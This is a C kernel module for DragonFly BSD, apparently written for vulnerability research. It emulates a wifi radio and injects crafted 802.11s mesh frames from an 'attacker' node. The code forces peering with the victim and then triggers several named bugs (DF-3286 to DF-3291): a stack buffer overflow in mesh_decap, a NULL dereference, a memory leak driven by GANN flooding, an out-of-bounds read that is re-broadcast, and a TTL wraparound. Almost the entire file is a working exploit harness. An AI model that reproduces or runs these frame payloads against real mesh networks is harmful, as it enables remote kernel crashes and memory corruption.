/*
 * fwm.c -- mesh-capable software "wifi radio" + RX frame injector + TX
 * capture for net80211 mesh (802.11s) PoC work on DragonFly.
 *
 * Extends the DF-3282 if_fw pattern:
 *  - vap_create accepts IEEE80211_M_MBSS (mesh vattach comes from the
 *    kernel: stock X86_64_GENERIC #0 is built with IEEE80211_SUPPORT_MESH)
 *  - sysctl kern.fwm.step=N injects crafted RX frames straight into
 *    ieee80211_input_mimo() from an "attacker" node:
 *      1  beacon from 02:00:00:00:00:aa (meshid "pwn") -> victim auto-peers
 *         (OPENSNT; retry/holding timeouts then emit CLOSE frames whose
 *         peer-link-id field is UNINITIALIZED STACK -- DF-3289)
 *      2  self-protected peering OPEN  (llid 0x1111)
 *      3  self-protected peering CONFIRM (llid = victim mlpid learned from
 *         the captured OPEN; linkid 0x1111) -> link ESTABLISHED
 *      10 multicast DSTODS QoS data w/ reserved AE=3 mesh control (24B)
 *         -> mesh_decap 56-byte memcpy into 50-byte stack b[] (DF-3286)
 *      11 unicast DSTODS QoS data w/ AE=1, addr4 = never-routed MAC
 *         -> mesh_recv_indiv_data_to_fwrd KASSERT/NULL-deref (DF-3287)
 *      20 N x GANN with fresh gate addrs (kern.fwm.count) (DF-3288 leak)
 *      21 GANN IE declaring len=0 followed by marker bytes -> parser reads
 *         15 bytes past the IE and re-broadcasts them (DF-3290)
 *      22 well-formed GANN with ttl=0 -> re-broadcast with ttl=255 (DF-3291)
 *  - sysctl kern.fwm.txlog dumps captured TX frames (action frames from
 *    the victim mesh FSM go out through ic_raw_xmit)
 *  - sysctl kern.fwm.stats dumps a few mesh vap stats
 */
#include "opt_wlan.h"

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <sys/endian.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/if_media.h>
#include <net/ifq_var.h>
#include <net/ethernet.h>

#include <netproto/802_11/ieee80211_var.h>
#include <netproto/802_11/ieee80211_proto.h>
#include <netproto/802_11/ieee80211_regdomain.h>
#include <netproto/802_11/ieee80211_ratectl.h>
#include <netproto/802_11/ieee80211_dragonfly.h>
#include <netproto/802_11/ieee80211_input.h>
#include <netproto/802_11/ieee80211_mesh.h>

#define ATT_MAC0	0x02,0x00,0x00,0x00,0x00,0xaa
#define MESHID_STR	"pwn"
#define MY_LLID		0x1111

struct fwm_softc {
	struct ieee80211com		sc_ic;
	struct callout			fw_tick;
	struct mbuf			*fw_bcbuf;
	int				fw_running;
};

/* TX capture ring */
#define TXLOG_N	32
struct txent {
	int len;
	int sub;	/* fc0 */
	uint8_t buf[224];
};
static struct txent txlog[TXLOG_N];
static int txlog_cur = 0, txlog_tot = 0;

static uint16_t g_seq = 1;		/* 802.11 seq */
static uint32_t g_mseq = 1;		/* mesh seq */
static uint16_t victim_mlpid = 0;	/* learned from victim OPEN */
static int fwm_step = 0, fwm_count = 1, fwm_gateidx = 0;

static void	fwm_beacon_tick(void *);
static void	fwm_beacon_update(struct ieee80211vap *, int);
static struct ieee80211vap *
		fwm_vap_create(struct ieee80211com *, const char [IFNAMSIZ], int,
		    enum ieee80211_opmode, int, const uint8_t [IEEE80211_ADDR_LEN],
		    const uint8_t [IEEE80211_ADDR_LEN]);
static void	fwm_vap_delete(struct ieee80211vap *);
static void	fwm_parent(struct ieee80211com *);
static int	fwm_raw_xmit(struct ieee80211_node *, struct mbuf *,
		    const struct ieee80211_bpf_params *);
static int	fwm_transmit(struct ieee80211com *, struct mbuf *);
static void	fwm_nop_ic(struct ieee80211com *);
static int	fwm_wme_nop(struct ieee80211com *);

static struct fwm_softc *fwm_sc = NULL;

/*
 * Driver private newstate wrapper: chain to the VAP's (mesh) newstate,
 * then allocate the beacon at RUN (as a real MAC driver would).
 */
struct fwm_vap {
	struct ieee80211vap		fw_vap;
	int				(*fw_newstate)(struct ieee80211vap *,
					    enum ieee80211_state, int);
};
#define	FWM_VAP(vap)	((struct fwm_vap *)(vap))

static int
fwm_newstate_shim(struct ieee80211vap *vap, enum ieee80211_state nstate, int arg)
{
	struct fwm_softc *sc = vap->iv_ic->ic_softc;
	int error;

	error = FWM_VAP(vap)->fw_newstate(vap, nstate, arg);
	if (error == 0 && nstate == IEEE80211_S_RUN && sc->fw_bcbuf == NULL) {
		sc->fw_bcbuf = ieee80211_beacon_alloc(vap->iv_bss);
		kprintf("fwm: %s RUN, beacon %s\n", vap->iv_ifp->if_xname,
		    sc->fw_bcbuf != NULL ? "allocated" : "FAILED");
		if (sc->fw_bcbuf != NULL)
			callout_reset(&sc->fw_tick, hz / 10,
			    fwm_beacon_tick, sc);
	}
	return error;
}

static void
fwm_beacon_tick(void *xsc)
{
	struct fwm_softc *sc = xsc;

	callout_reset(&sc->fw_tick, hz / 10, fwm_beacon_tick, sc);

	wlan_serialize_enter();
	if (sc->fw_bcbuf != NULL) {
		struct ieee80211vap *vap;
		TAILQ_FOREACH(vap, &sc->sc_ic.ic_vaps, iv_next)
			break;
		if (vap != NULL)
			ieee80211_beacon_update(vap->iv_bss, sc->fw_bcbuf, 0);
	}
	wlan_serialize_exit();
}

static void
fwm_beacon_update(struct ieee80211vap *vap, int item)
{
	setbit(vap->iv_bcn_off.bo_flags, item);
}

static struct ieee80211vap *
fwm_vap_create(struct ieee80211com *ic, const char name[IFNAMSIZ], int unit,
    enum ieee80211_opmode opmode, int flags,
    const uint8_t bssid[IEEE80211_ADDR_LEN],
    const uint8_t mac[IEEE80211_ADDR_LEN])
{
	struct fwm_vap *nvp;
	struct ieee80211vap *vap;

	switch (opmode) {
	case IEEE80211_M_STA:
	case IEEE80211_M_IBSS:
	case IEEE80211_M_HOSTAP:
	case IEEE80211_M_MONITOR:
	case IEEE80211_M_MBSS:
		if (!TAILQ_EMPTY(&ic->ic_vaps)) {
			kprintf("fwm: only 1 vap supported\n");
			return NULL;
		}
		break;
	default:
		kprintf("fwm: opmode %d not supported\n", opmode);
		return NULL;
	}
	nvp = kmalloc(sizeof(struct fwm_vap), M_80211_VAP, M_WAITOK | M_ZERO);
	vap = &nvp->fw_vap;
	ieee80211_vap_setup(ic, vap, name, unit, opmode, flags, bssid);

	nvp->fw_newstate = vap->iv_newstate;	/* mesh newstate */
	vap->iv_newstate = fwm_newstate_shim;
	vap->iv_update_beacon = fwm_beacon_update;

	ieee80211_ratectl_init(vap);
	ieee80211_vap_attach(vap, ieee80211_media_change,
	    ieee80211_media_status, mac);
	ic->ic_opmode = opmode;
	return vap;
}

static void
fwm_vap_delete(struct ieee80211vap *vap)
{
	struct fwm_softc *sc = vap->iv_ic->ic_softc;
	struct fwm_vap *nvp = FWM_VAP(vap);

	callout_stop(&sc->fw_tick);
	if (sc->fw_bcbuf != NULL) {
		m_freem(sc->fw_bcbuf);
		sc->fw_bcbuf = NULL;
	}
	ieee80211_ratectl_deinit(vap);
	ieee80211_vap_detach(vap);
	kfree(nvp, M_80211_VAP);
}

static void
fwm_parent(struct ieee80211com *ic)
{
	struct fwm_softc *sc = ic->ic_softc;
	int startall = 0;

	if (ic->ic_nrunning > 0) {
		if (!sc->fw_running) {
			sc->fw_running = 1;
			startall = 1;
		}
	} else
		sc->fw_running = 0;
	if (startall)
		ieee80211_start_all(ic);
}

/* capture outgoing raw (mgmt/action) frames then free */
static int
fwm_raw_xmit(struct ieee80211_node *ni, struct mbuf *m,
    const struct ieee80211_bpf_params *params)
{
	struct txent *t;

	if (m != NULL && m->m_len >= 1) {
		t = &txlog[txlog_cur];
		t->len = m->m_pkthdr.len;
		t->sub = mtod(m, struct ieee80211_frame *)->i_fc[0];
		memcpy(t->buf, mtod(m, const void *),
		    m->m_len < (int)sizeof(t->buf) ? m->m_len : sizeof(t->buf));
		txlog_cur = (txlog_cur + 1) % TXLOG_N;
		txlog_tot++;
		kprintf("fwm_tx[%d]: fc0=%02x len=%d\n", txlog_tot, t->sub, t->len);

		/* learn victim mlpid from its self-prot OPEN (fc0=d0,cat=15,act=1) */
		if (t->sub == 0xd0 && t->len > 34) {
			uint8_t *p = t->buf;
			if (p[24] == 15 && p[25] == 1) {
				int k;
				for (k = 28; k < t->len - 5; k++)
					if (p[k] == 117 && p[k+1] >= 4) {
						victim_mlpid =
						    p[k+4] | (p[k+5] << 8);
						break;
					}
			}
		}
	}
	if (params != NULL)
		;
	if (m != NULL)
		m_freem(m);
	ieee80211_free_node(ni);
	return 0;
}

static int
fwm_transmit(struct ieee80211com *ic, struct mbuf *m)
{
	struct mbuf *n;

	while (m != NULL) {
		n = m->m_nextpkt;
		m->m_nextpkt = NULL;
		if (m->m_pkthdr.rcvif != NULL)
			ieee80211_tx_complete(
			    (struct ieee80211_node *)m->m_pkthdr.rcvif, m, 0);
		else
			m_freem(m);
		m = n;
	}
	return 0;
}

static void
fwm_nop_ic(struct ieee80211com *ic)
{
}

static int
fwm_wme_nop(struct ieee80211com *ic)
{
	return 0;
}

/* ---------------- RX injection ---------------- */

static struct ieee80211vap *
first_vap(struct ieee80211com *ic)
{
	struct ieee80211vap *vap;
	TAILQ_FOREACH(vap, &ic->ic_vaps, iv_next)
		break;
	return vap;
}

static void
inject(struct ieee80211vap *vap, uint8_t *pkt, int len, int use_bss)
{
	struct ieee80211_node *ni;
	struct mbuf *m;
	static const uint8_t att[IEEE80211_ADDR_LEN] = { ATT_MAC0 };

	m = m_gethdr(M_WAITOK, MT_DATA);
	memcpy(mtod(m, void *), pkt, len);
	m->m_len = m->m_pkthdr.len = len;

	if (use_bss)
		ni = ieee80211_ref_node(vap->iv_bss);
	else {
		ni = ieee80211_find_txnode(vap, att);
		if (ni == NULL) {
			kprintf("fwm: no attacker node; run step 1 first\n");
			m_freem(m);
			return;
		}
	}
	wlan_serialize_enter();
	ieee80211_input_mimo(ni, m, NULL);
	wlan_serialize_exit();
	ieee80211_free_node(ni);
}

#define MAXPKT 256

static void
put16(uint8_t *p, uint16_t v) { le16enc(p, v); }
static void
put32(uint8_t *p, uint32_t v) { le32enc(p, v); }

/* build an 802.11 header NODS/DSTODS and return body pointer */
static uint8_t *
hdr(uint8_t *p, uint8_t fc0, uint8_t fc1, const uint8_t *a1,
    const uint8_t *a2, const uint8_t *a3, const uint8_t *a4)
{
	p[0] = fc0; p[1] = fc1;
	put16(p + 2, 0);
	IEEE80211_ADDR_COPY(p + 4, a1);
	IEEE80211_ADDR_COPY(p + 10, a2);
	IEEE80211_ADDR_COPY(p + 16, a3);
	put16(p + 22, g_seq++ << 4);
	p += 24;
	if (a4 != NULL) {
		IEEE80211_ADDR_COPY(p, a4);
		p += 6;
	}
	return p;
}

/* IEs shared by peering action frames */
static int
add_mesh_ies(uint8_t *p)
{
	int i = 0;
	/* meshid */
	p[i++] = 114; p[i++] = 3;
	p[i++] = 'p'; p[i++] = 'w'; p[i++] = 'n';
	/* meshconf: psel=1(HWMP) pmet=1(AIRTIME) cc=0 sync=1 auth=0 form=0 cap=0x01 */
	p[i++] = 113; p[i++] = 7;
	p[i++] = 0x01; p[i++] = 0x01; p[i++] = 0x00; p[i++] = 0x01;
	p[i++] = 0x00; p[i++] = 0x00; p[i++] = 0x01;
	return i;
}

static void
step_beacon(struct ieee80211vap *vap)
{
	uint8_t pkt[MAXPKT];
	uint8_t *b;
	static const uint8_t att[IEEE80211_ADDR_LEN] = { ATT_MAC0 };
	static const uint8_t bc[IEEE80211_ADDR_LEN] =
	    { 0xff,0xff,0xff,0xff,0xff,0xff };

	b = hdr(pkt, 0x80, 0x00, bc, att, att, NULL);	/* beacon NODS */
	memset(b, 0, 8); b += 8;			/* timestamp */
	put16(b, 100); b += 2;				/* bintval */
	put16(b, 0x0000); b += 2;			/* capinfo: no ESS/IBSS */
	*b++ = 0x00; *b++ = 3; *b++='p'; *b++='w'; *b++='n';	/* ssid */
	*b++ = 0x01; *b++ = 4; *b++=0x82; *b++=0x84; *b++=0x8b; *b++=0x96;
	b += add_mesh_ies(b);
	kprintf("fwm: inject BEACON (%d bytes) from attacker\n", (int)(b - pkt));
	inject(vap, pkt, b - pkt, 1);
}

static void
step_open(struct ieee80211vap *vap)
{
	uint8_t pkt[MAXPKT];
	uint8_t *b;
	static const uint8_t att[IEEE80211_ADDR_LEN] = { ATT_MAC0 };

	b = hdr(pkt, 0xd0, 0x00, vap->iv_myaddr, att, vap->iv_myaddr, NULL);
	*b++ = 15;	/* SELF_PROT */
	*b++ = 1;	/* MESHPEERING OPEN */
	put16(b, 0); b += 2;			/* capabilities */
	b += add_mesh_ies(b);
	*b++ = 117; *b++ = 4;			/* meshpeer, len=4 */
	put16(b, 0); b += 2;			/* proto MPM */
	put16(b, MY_LLID); b += 2;		/* local link id */
	kprintf("fwm: inject PEER OPEN (%d bytes)\n", (int)(b - pkt));
	inject(vap, pkt, b - pkt, 0);
}

static void
step_confirm(struct ieee80211vap *vap)
{
	uint8_t pkt[MAXPKT];
	uint8_t *b;
	static const uint8_t att[IEEE80211_ADDR_LEN] = { ATT_MAC0 };

	if (victim_mlpid == 0) {
		kprintf("fwm: victim mlpid unknown; read kern.fwm.txlog first\n");
		return;
	}
	b = hdr(pkt, 0xd0, 0x00, vap->iv_myaddr, att, vap->iv_myaddr, NULL);
	*b++ = 15;	/* SELF_PROT */
	*b++ = 2;	/* MESHPEERING CONFIRM */
	put16(b, 0); b += 2;			/* capabilities */
	put16(b, 0); b += 2;			/* status */
	put16(b, MY_LLID); b += 2;		/* AID */
	b += add_mesh_ies(b);
	*b++ = 117; *b++ = 6;			/* meshpeer, len=6 */
	put16(b, 0); b += 2;			/* proto */
	put16(b, victim_mlpid); b += 2;		/* local id = victim's */
	put16(b, MY_LLID); b += 2;		/* link id = ours */
	kprintf("fwm: inject PEER CONFIRM (victim mlpid 0x%04x)\n",
	    victim_mlpid);
	inject(vap, pkt, b - pkt, 0);
}

/* DF-3286: mcast DSTODS QoS data, AE=3 (reserved) 24-byte mesh control */
static void
step_data_ae3(struct ieee80211vap *vap)
{
	uint8_t pkt[MAXPKT];
	uint8_t *b, *mc;
	static const uint8_t att[IEEE80211_ADDR_LEN] = { ATT_MAC0 };
	static const uint8_t bc[IEEE80211_ADDR_LEN] =
	    { 0xff,0xff,0xff,0xff,0xff,0xff };
	static const uint8_t mda[IEEE80211_ADDR_LEN] =
	    { 0x33,0x33,0x00,0x00,0x00,0x01 };
	static const uint8_t msa[IEEE80211_ADDR_LEN] =
	    { 0x00,0x11,0x22,0x33,0x44,0x55 };

	b = hdr(pkt, 0x88, 0x03, bc, att, mda, msa);	/* QoS data DSTODS */
	*b++ = 0x00; *b++ = 0x01;			/* qos: MC bit set */
	mc = b;
	b[0] = 0x03;					/* AE = 3 RESERVED */
	b[1] = 32;					/* ttl */
	put32(b + 2, g_mseq++); b += 6;
	/* addr4' */ b[0]=0x44;b[1]=0x44;b[2]=0x44;b[3]=0x44;b[4]=0x44;b[5]=0x44; b+=6;
	/* addr5  */ b[0]=0x55;b[1]=0x55;b[2]=0x55;b[3]=0x55;b[4]=0x55;b[5]=0x55; b+=6;
	/* addr6 = b[50..55] of decap hdr = the 6 OVERFLOW bytes */
	b[0]=0xCC;b[1]=0xCC;b[2]=0xCC;b[3]=0xCC;b[4]=0xCC;b[5]=0xCC; b+=6;
	KKASSERT(b - mc == 24);
	/* LLC SNAP + IPv4 + payload */
	*b++=0xaa; *b++=0xaa; *b++=0x03; *b++=0x00; *b++=0x00; *b++=0x00;
	*b++=0x08; *b++=0x00;
	*b++=0x61; *b++=0x61; *b++=0x61; *b++=0x61;
	kprintf("fwm: inject MCAST AE=3 data (%d bytes; decap hdr=56 > b[50])\n",
	    (int)(b - pkt));
	inject(vap, pkt, b - pkt, 0);
}

/* DF-3287: ucast DSTODS QoS data, AE=1, addr4 = fresh (never routed) MAC */
static void
step_data_ae1(struct ieee80211vap *vap)
{
	uint8_t pkt[MAXPKT];
	uint8_t *b;
	static const uint8_t att[IEEE80211_ADDR_LEN] = { ATT_MAC0 };
	static const uint8_t proxy[IEEE80211_ADDR_LEN] =
	    { 0x00,0x66,0x66,0x66,0x66,0x66 };
	static const uint8_t fresh[IEEE80211_ADDR_LEN] =
	    { 0x00,0x77,0x88,0x99,0xaa,0xbb };

	b = hdr(pkt, 0x88, 0x03, vap->iv_myaddr, att, proxy, fresh);
	*b++ = 0x00; *b++ = 0x01;			/* qos: MC bit */
	/* meshcntl AE=1: flags, ttl, seq4, mc_addr4 */
	b[0] = 0x01; b[1] = 32; put32(b + 2, g_mseq++);
	IEEE80211_ADDR_COPY(b + 6, proxy);
	b += 12;
	*b++=0xaa; *b++=0xaa; *b++=0x03; *b++=0x00; *b++=0x00; *b++=0x00;
	*b++=0x08; *b++=0x00;
	*b++=0x61; *b++=0x61;
	kprintf("fwm: inject UCAST AE=1 data (%d bytes; addr4 unroute'd)\n",
	    (int)(b - pkt));
	inject(vap, pkt, b - pkt, 0);
}

/* DF-3288: N GANNs with fresh gate addresses */
static void
step_gann_leak(struct ieee80211vap *vap)
{
	uint8_t pkt[MAXPKT];
	uint8_t *b;
	static const uint8_t att[IEEE80211_ADDR_LEN] = { ATT_MAC0 };
	int n;

	for (n = 0; n < fwm_count; n++) {
		uint8_t gate[IEEE80211_ADDR_LEN] = { 0x02,0x00,0x00,0x01,0,0 };

		gate[4] = (fwm_gateidx >> 8) & 0xff;
		gate[5] = fwm_gateidx & 0xff;
		fwm_gateidx++;

		b = hdr(pkt, 0xd0, 0x00, vap->iv_myaddr, att,
		    vap->iv_myaddr, NULL);
		*b++ = 13;	/* CAT_MESH */
		*b++ = 2;	/* GANN */
		*b++ = 125;			/* elemid MESHGANN */
		*b++ = 15;			/* len */
		*b++ = 0;			/* flags */
		*b++ = 0;			/* hopcount */
		*b++ = 32;			/* ttl */
		IEEE80211_ADDR_COPY(b, gate); b += 6;
		put32(b, 1); b += 4;		/* seq */
		put16(b, 10000); b += 2;	/* interval */
		inject(vap, pkt, b - pkt, 0);
	}
	kprintf("fwm: injected %d GANNs (fresh gates)\n", fwm_count);
}

/* DF-3290: GANN IE declaring len=0; parser reads 15 payload bytes past it */
static void
step_gann_short(struct ieee80211vap *vap)
{
	uint8_t pkt[MAXPKT];
	uint8_t *b;
	static const uint8_t att[IEEE80211_ADDR_LEN] = { ATT_MAC0 };

	b = hdr(pkt, 0xd0, 0x00, vap->iv_myaddr, att, vap->iv_myaddr, NULL);
	*b++ = 13;	/* CAT_MESH */
	*b++ = 2;	/* GANN */
	/* padding IE so ieee80211_parse_action total-length check passes */
	*b++ = 0x00; *b++ = 6; *b++='P'; *b++='P'; *b++='P'; *b++='P'; *b++='P'; *b++='P';
	/* the GANN IE: declares len=0 but carries NO body of its own */
	*b++ = 125; *b++ = 0;
	/*
	 * 15 bytes AFTER the IE end; they double as a final valid IE
	 * (00 0d ...) so the parser's walk survives to re-broadcast them.
	 * marker map: [0]=0x00 [1]=0x0d [2]=ttl [3..8]=addr [9..12]=seq
	 * [13..14]=interval
	 */
	*b++ = 0x00;		/* (flags slot) */
	*b++ = 0x0d;		/* (hopcount slot) */
	*b++ = 0xB2;		/* ttl */
	*b++ = 0xB3; *b++ = 0xB4; *b++ = 0xB5;	/* addr */
	*b++ = 0xB6; *b++ = 0xB7; *b++ = 0xB8;
	put32(b, 0xB9B9B9B9); b += 4;		/* seq */
	put16(b, 0xBDBE); b += 2;		/* interval */
	kprintf("fwm: inject SHORT GANN (IE len=0, markers follow)\n");
	inject(vap, pkt, b - pkt, 0);
}

/* DF-3291: well-formed GANN with ttl=0 -> propagated with ttl 255 */
static void
step_gann_ttl0(struct ieee80211vap *vap)
{
	uint8_t pkt[MAXPKT];
	uint8_t *b;
	static const uint8_t att[IEEE80211_ADDR_LEN] = { ATT_MAC0 };
	uint8_t gate[IEEE80211_ADDR_LEN] = { 0x02,0x00,0x00,0x02,0,0 };

	gate[5] = 0x40 + (fwm_gateidx++ & 0x3f);

	b = hdr(pkt, 0xd0, 0x00, vap->iv_myaddr, att, vap->iv_myaddr, NULL);
	*b++ = 13; *b++ = 2;
	*b++ = 125; *b++ = 15;
	*b++ = 0;	/* flags */
	*b++ = 0;	/* hopcount */
	*b++ = 0;	/* TTL = 0 */
	IEEE80211_ADDR_COPY(b, gate); b += 6;
	put32(b, 1); b += 4;
	put16(b, 10000); b += 2;
	kprintf("fwm: inject GANN ttl=0\n");
	inject(vap, pkt, b - pkt, 0);
}

/* regression: legal AE=0 ucast data (mesh SA in addr4, DA=proxy mc_addr5? no - plain) */
static void
step_data_ae0(struct ieee80211vap *vap)
{
	uint8_t pkt[MAXPKT];
	uint8_t *b;
	static const uint8_t att[IEEE80211_ADDR_LEN] = { ATT_MAC0 };
	static const uint8_t da[IEEE80211_ADDR_LEN] =
	    { 0x02,0x00,0x00,0x00,0x00,0xf2 };	/* victim itself */

	b = hdr(pkt, 0x88, 0x03, vap->iv_myaddr, att, da, da);
	*b++ = 0x00; *b++ = 0x01;			/* qos: MC bit */
	/* meshcntl AE=0: flags, ttl, seq4 */
	b[0] = 0x00; b[1] = 32; put32(b + 2, g_mseq++); b += 6;
	*b++=0xaa; *b++=0xaa; *b++=0x03; *b++=0x00; *b++=0x00; *b++=0x00;
	*b++=0x08; *b++=0x00;
	*b++=0x61; *b++=0x61;
	kprintf("fwm: inject UCAST AE=0 data (%d bytes; legal)\n",
	    (int)(b - pkt));
	inject(vap, pkt, b - pkt, 0);
}

static int
fwm_step_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct fwm_softc *sc = fwm_sc;
	struct ieee80211vap *vap;
	int error, s;

	error = sysctl_handle_int(oidp, &fwm_step, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	if (fwm_step == 0 || sc == NULL)
		return 0;
	vap = first_vap(&sc->sc_ic);
	if (vap == NULL || vap->iv_opmode != IEEE80211_M_MBSS) {
		kprintf("fwm: no mesh vap\n");
		return ENXIO;
	}
	s = fwm_step;
	fwm_step = 0;
	switch (s) {
	case 1:  step_beacon(vap); break;
	case 2:  step_open(vap); break;
	case 3:  step_confirm(vap); break;
	case 4:	/* full synchronous peering dance: beacon+open+confirm */
		step_beacon(vap);
		step_open(vap);
		if (victim_mlpid != 0)
			step_confirm(vap);
		else
			kprintf("fwm: dance failed (no mlpid learned)\n");
		break;
	case 10: step_data_ae3(vap); break;
	case 11: step_data_ae1(vap); break;
	case 12: step_data_ae0(vap); break;
	case 20: step_gann_leak(vap); break;
	case 21: step_gann_short(vap); break;
	case 22: step_gann_ttl0(vap); break;
	default:
		kprintf("fwm: unknown step %d\n", s);
	}
	return 0;
}
SYSCTL_PROC(_kern, OID_AUTO, fwm_step, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fwm_step_sysctl, "I", "fwm PoC step");

static int
fwm_count_sysctl(SYSCTL_HANDLER_ARGS)
{
	return sysctl_handle_int(oidp, &fwm_count, 0, req);
}
SYSCTL_PROC(_kern, OID_AUTO, fwm_count, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fwm_count_sysctl, "I", "fwm GANN count");

static int
fwm_stats_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct fwm_softc *sc = fwm_sc;
	struct ieee80211vap *vap;
	char buf[256];
	int len, badae = -1, nolink = 0, dup = 0;

	if (sc != NULL) {
		vap = first_vap(&sc->sc_ic);
		if (vap != NULL) {
			badae = vap->iv_stats.is_mesh_badae;
			nolink = vap->iv_stats.is_mesh_nolink;
			dup = vap->iv_stats.is_rx_dup;
		}
	}
	len = ksnprintf(buf, sizeof(buf),
	    "is_mesh_badae=%d is_mesh_nolink=%d is_rx_dup=%d tx_tot=%d\n",
	    badae, nolink, dup, txlog_tot);
	return SYSCTL_OUT(req, buf, len);
}
SYSCTL_PROC(_kern, OID_AUTO, fwm_stats, CTLTYPE_STRING | CTLFLAG_RD,
    0, 0, fwm_stats_sysctl, "A", "fwm mesh stats");

/* dump captured TX frames; also learn victim mlpid from its OPEN */
static int
fwm_txlog_sysctl(SYSCTL_HANDLER_ARGS)
{
	char buf[8192];
	int i, j, o, len;

	o = 0;
	for (i = 0; i < TXLOG_N; i++) {
		struct txent *t = &txlog[(txlog_cur + i) % TXLOG_N];

		if (t->len == 0)
			continue;
		o += ksnprintf(buf + o, sizeof(buf) - o,
		    "tx[%d] fc0=%02x len=%3d:", i, t->sub, t->len);
		for (j = 0; j < t->len && j < (int)sizeof(t->buf); j++)
			o += ksnprintf(buf + o, sizeof(buf) - o, "%02x",
			    t->buf[j]);
		o += ksnprintf(buf + o, sizeof(buf) - o, "\n");

		/* learn victim mlpid from its self-prot OPEN (fc0=d0,cat=15,act=1) */
		if (t->sub == 0xd0 && t->len > 34) {
			uint8_t *p = t->buf;
			if (p[24] == 15 && p[25] == 1) {
				int k;
				for (k = 28; k < t->len - 5; k++)
					if (p[k] == 117 && p[k+1] >= 4) {
						victim_mlpid =
						    p[k+4] | (p[k+5] << 8);
						break;
					}
			}
		}
	}
	if (victim_mlpid)
		o += ksnprintf(buf + o, sizeof(buf) - o,
		    "victim_mlpid=0x%04x\n", victim_mlpid);
	len = o;
	return SYSCTL_OUT(req, buf, len);
}
SYSCTL_PROC(_kern, OID_AUTO, fwm_txlog, CTLTYPE_STRING | CTLFLAG_RD,
    0, 0, fwm_txlog_sysctl, "A", "fwm TX capture");

static int
fwm_modevent(module_t mod, int type, void *data)
{
	struct fwm_softc *sc;
	struct ieee80211com *ic;
	uint8_t bands[IEEE80211_MODE_BYTES];

	switch (type) {
	case MOD_LOAD:
		sc = kmalloc(sizeof(struct fwm_softc), M_DEVBUF,
		    M_WAITOK | M_ZERO);
		ic = &sc->sc_ic;
		ic->ic_softc = sc;
		ic->ic_name = "fwm0";
		ic->ic_opmode = IEEE80211_M_STA;
		ic->ic_phytype = IEEE80211_T_DS;
		ic->ic_caps =
			  IEEE80211_C_STA
			| IEEE80211_C_IBSS
			| IEEE80211_C_HOSTAP
			| IEEE80211_C_MONITOR
			| IEEE80211_C_MBSS
			| IEEE80211_C_SHPREAMBLE
			| IEEE80211_C_SHSLOT
			| IEEE80211_C_TXFRAG
			;
		memset(bands, 0, sizeof(bands));
		setbit(bands, IEEE80211_MODE_11B);
		ieee80211_init_channels(ic, NULL, bands);

		ic->ic_macaddr[0] = 0x02; ic->ic_macaddr[1] = 0x00;
		ic->ic_macaddr[2] = 0x00; ic->ic_macaddr[3] = 0x00;
		ic->ic_macaddr[4] = 0x00; ic->ic_macaddr[5] = 0xf2;

		callout_init(&sc->fw_tick);

		ic->ic_vap_create = fwm_vap_create;
		ic->ic_vap_delete = fwm_vap_delete;
		ic->ic_parent = fwm_parent;
		ic->ic_transmit = fwm_transmit;
		ic->ic_scan_start = fwm_nop_ic;
		ic->ic_scan_end = fwm_nop_ic;
		ic->ic_set_channel = fwm_nop_ic;
		ic->ic_updateslot = fwm_nop_ic;
		ic->ic_wme.wme_update = fwm_wme_nop;

		ieee80211_ifattach(ic);
		/* NB: proto_attach (inside ifattach) resets ic_raw_xmit */
		ic->ic_raw_xmit = fwm_raw_xmit;
		fwm_sc = sc;
		kprintf("fwm: mesh-capable fake wifi radio attached (fwm0)\n");
		return 0;
	case MOD_UNLOAD:
		sc = fwm_sc;
		if (sc == NULL)
			return 0;
		if (!TAILQ_EMPTY(&sc->sc_ic.ic_vaps)) {
			kprintf("fwm: vap still active, refusing unload\n");
			return EBUSY;
		}
		callout_stop(&sc->fw_tick);
		ieee80211_ifdetach(&sc->sc_ic);
		kfree(sc, M_DEVBUF);
		fwm_sc = NULL;
		kprintf("fwm: detached\n");
		return 0;
	}
	return 0;
}

static moduledata_t fwm_mod = { "fwm", fwm_modevent, 0 };
DECLARE_MODULE(fwm, fwm_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(fwm, wlan, 1, 1, 1);
